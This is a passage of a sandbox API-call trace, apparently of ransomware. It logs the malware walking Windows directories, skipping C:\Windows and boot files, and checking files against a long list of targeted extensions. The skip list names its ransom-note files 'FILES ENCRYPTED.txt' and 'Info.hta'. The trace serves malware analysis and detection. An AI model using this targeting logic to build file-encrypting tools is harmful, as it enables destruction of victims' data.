cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x711048 [0042.875] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0042.875] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0042.875] lstrlenW (lpString="$Recycle.Bin") returned 12 [0042.875] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0042.875] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a206c8 [0042.876] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0042.876] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b0d88 [0042.876] FindNextFileW (in: hFindFile=0x7b0d88, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.876] FindNextFileW (in: hFindFile=0x7b0d88, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0042.876] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0042.876] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0042.876] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0042.876] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0042.876] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0042.877] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0042.877] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b1dd0 [0042.877] FindNextFileW (in: hFindFile=0x7b1dd0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.877] FindNextFileW (in: hFindFile=0x7b1dd0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0042.877] lstrlenW (lpString="desktop.ini") returned 11 [0042.877] lstrlenW (lpString=".1cd") returned 4 [0042.877] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0042.877] lstrlenW (lpString=".3ds") returned 4 [0042.877] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0042.877] lstrlenW (lpString=".3fr") returned 4 [0042.877] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0042.877] lstrlenW (lpString=".3g2") returned 4 [0042.877] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0042.877] lstrlenW (lpString=".3gp") returned 4 [0042.877] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0042.877] lstrlenW (lpString=".7z") returned 3 [0042.877] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0042.877] lstrlenW (lpString=".accda") returned 6 [0042.878] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0042.878] lstrlenW (lpString=".accdb") returned 6 [0042.878] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0042.878] lstrlenW (lpString=".accdc") returned 6 [0042.878] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0042.878] lstrlenW (lpString=".accde") returned 6 [0042.878] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0042.878] lstrlenW (lpString=".accdt") returned 6 [0042.878] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0042.878] lstrlenW (lpString=".accdw") returned 6 [0042.878] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0042.878] lstrlenW (lpString=".adb") returned 4 [0042.878] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".adp") returned 4 [0042.878] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".ai") returned 3 [0042.878] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0042.878] lstrlenW (lpString=".ai3") returned 4 [0042.878] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".ai4") returned 4 [0042.878] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".ai5") returned 4 [0042.878] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".ai6") returned 4 [0042.878] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".ai7") returned 4 [0042.878] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".ai8") returned 4 [0042.878] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".anim") returned 5 [0042.878] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0042.878] lstrlenW (lpString=".arw") returned 4 [0042.878] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0042.878] lstrlenW (lpString=".as") returned 3 [0042.878] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0042.878] lstrlenW (lpString=".asa") returned 4 [0042.878] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".asc") returned 4 [0042.879] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".ascx") returned 5 [0042.879] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0042.879] lstrlenW (lpString=".asm") returned 4 [0042.879] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".asmx") returned 5 [0042.879] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0042.879] lstrlenW (lpString=".asp") returned 4 [0042.879] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".aspx") returned 5 [0042.879] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0042.879] lstrlenW (lpString=".asr") returned 4 [0042.879] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".asx") returned 4 [0042.879] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".avi") returned 4 [0042.879] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".avs") returned 4 [0042.879] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".backup") returned 7 [0042.879] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0042.879] lstrlenW (lpString=".bak") returned 4 [0042.879] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".bay") returned 4 [0042.879] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".bd") returned 3 [0042.879] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0042.879] lstrlenW (lpString=".bin") returned 4 [0042.879] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".bmp") returned 4 [0042.879] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".bz2") returned 4 [0042.879] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0042.879] lstrlenW (lpString=".c") returned 2 [0042.880] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0042.880] lstrlenW (lpString=".cdr") returned 4 [0042.880] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cer") returned 4 [0042.880] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cf") returned 3 [0042.880] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0042.880] lstrlenW (lpString=".cfc") returned 4 [0042.880] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cfm") returned 4 [0042.880] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cfml") returned 5 [0042.880] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0042.880] lstrlenW (lpString=".cfu") returned 4 [0042.880] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".chm") returned 4 [0042.880] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cin") returned 4 [0042.880] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".class") returned 6 [0042.880] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0042.880] lstrlenW (lpString=".clx") returned 4 [0042.880] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".config") returned 7 [0042.880] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0042.880] lstrlenW (lpString=".cpp") returned 4 [0042.880] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cr2") returned 4 [0042.880] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".crt") returned 4 [0042.880] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".crw") returned 4 [0042.880] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0042.880] lstrlenW (lpString=".cs") returned 3 [0042.880] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0042.880] lstrlenW (lpString=".css") returned 4 [0042.881] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".csv") returned 4 [0042.881] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".cub") returned 4 [0042.881] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dae") returned 4 [0042.881] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dat") returned 4 [0042.881] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".db") returned 3 [0042.881] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0042.881] lstrlenW (lpString=".dbf") returned 4 [0042.881] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dbx") returned 4 [0042.881] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dc3") returned 4 [0042.881] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dcm") returned 4 [0042.881] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dcr") returned 4 [0042.881] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".der") returned 4 [0042.881] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dib") returned 4 [0042.881] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dic") returned 4 [0042.881] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".dif") returned 4 [0042.881] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".divx") returned 5 [0042.881] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0042.881] lstrlenW (lpString=".djvu") returned 5 [0042.881] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0042.881] lstrlenW (lpString=".dng") returned 4 [0042.881] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0042.881] lstrlenW (lpString=".doc") returned 4 [0042.882] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".docm") returned 5 [0042.882] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0042.882] lstrlenW (lpString=".docx") returned 5 [0042.882] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0042.882] lstrlenW (lpString=".dot") returned 4 [0042.882] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dotm") returned 5 [0042.882] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0042.882] lstrlenW (lpString=".dotx") returned 5 [0042.882] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0042.882] lstrlenW (lpString=".dpx") returned 4 [0042.882] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dqy") returned 4 [0042.882] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dsn") returned 4 [0042.882] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dt") returned 3 [0042.882] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0042.882] lstrlenW (lpString=".dtd") returned 4 [0042.882] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dwg") returned 4 [0042.882] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dwt") returned 4 [0042.882] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".dx") returned 3 [0042.882] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0042.882] lstrlenW (lpString=".dxf") returned 4 [0042.882] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".edml") returned 5 [0042.882] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0042.882] lstrlenW (lpString=".efd") returned 4 [0042.882] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".elf") returned 4 [0042.882] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0042.882] lstrlenW (lpString=".emf") returned 4 [0042.882] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".emz") returned 4 [0042.883] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".epf") returned 4 [0042.883] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".eps") returned 4 [0042.883] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".epsf") returned 5 [0042.883] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0042.883] lstrlenW (lpString=".epsp") returned 5 [0042.883] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0042.883] lstrlenW (lpString=".erf") returned 4 [0042.883] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".exr") returned 4 [0042.883] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".f4v") returned 4 [0042.883] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".fido") returned 5 [0042.883] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0042.883] lstrlenW (lpString=".flm") returned 4 [0042.883] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".flv") returned 4 [0042.883] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".frm") returned 4 [0042.883] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".fxg") returned 4 [0042.883] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".geo") returned 4 [0042.883] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".gif") returned 4 [0042.883] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".grs") returned 4 [0042.883] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0042.883] lstrlenW (lpString=".gz") returned 3 [0042.883] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0042.883] lstrlenW (lpString=".h") returned 2 [0042.883] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0042.884] lstrlenW (lpString=".hdr") returned 4 [0042.884] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".hpp") returned 4 [0042.884] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".hta") returned 4 [0042.884] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".htc") returned 4 [0042.884] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".htm") returned 4 [0042.884] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".html") returned 5 [0042.884] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0042.884] lstrlenW (lpString=".icb") returned 4 [0042.884] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".ics") returned 4 [0042.884] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".iff") returned 4 [0042.884] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".inc") returned 4 [0042.884] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0042.884] lstrlenW (lpString=".indd") returned 5 [0042.884] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0042.884] lstrlenW (lpString=".ini") returned 4 [0042.884] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0042.884] lstrlenW (lpString="desktop.ini") returned 11 [0042.884] lstrlenW (lpString=".wiki") returned 5 [0042.884] lstrcmpiW (lpString1=".wiki", lpString2="p.ini") returned -1 [0042.884] lstrlenW (lpString="desktop.ini") returned 11 [0042.884] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0042.884] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0042.884] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0042.884] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0042.884] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0042.884] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0042.884] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0042.885] lstrcmpiW (lpString1="n.exe", lpString2="desktop.ini") returned 1 [0042.885] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0042.885] FindNextFileW (in: hFindFile=0x7b1dd0, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0042.885] FindClose (in: hFindFile=0x7b1dd0 | out: hFindFile=0x7b1dd0) returned 1 [0042.885] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0042.885] FindNextFileW (in: hFindFile=0x7b0d88, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0042.885] FindClose (in: hFindFile=0x7b0d88 | out: hFindFile=0x7b0d88) returned 1 [0042.886] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a206c8 | out: hHeap=0x6c0000) returned 1 [0042.886] FindNextFileW (in: hFindFile=0x711048, lpFindFileData=0x350fd00 | out: lpFindFileData=0x350fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0042.886] lstrlenW (lpString="C:\\Boot") returned 7 [0042.886] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0042.886] lstrlenW (lpString="Boot") returned 4 [0042.886] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0042.886] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a206c8 [0042.886] lstrlenW (lpString="C:\\Boot") returned 7 [0042.886] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b1d90 [0042.887] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.887] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0042.887] lstrlenW (lpString="BCD") returned 3 [0042.887] lstrlenW (lpString=".1cd") returned 4 [0042.887] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".3ds") returned 4 [0042.887] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".3fr") returned 4 [0042.887] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".3g2") returned 4 [0042.887] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".3gp") returned 4 [0042.887] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".7z") returned 3 [0042.887] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0042.887] lstrlenW (lpString=".accda") returned 6 [0042.887] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".accdb") returned 6 [0042.887] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".accdc") returned 6 [0042.887] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".accde") returned 6 [0042.887] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".accdt") returned 6 [0042.887] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".accdw") returned 6 [0042.887] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0042.887] lstrlenW (lpString=".adb") returned 4 [0042.888] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".adp") returned 4 [0042.888] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".ai") returned 3 [0042.888] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0042.888] lstrlenW (lpString=".ai3") returned 4 [0042.888] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".ai4") returned 4 [0042.888] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0042.888] lstrlenW (lpString=".ai5") returned 4 [0042.888] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0042.888] lstrlenW 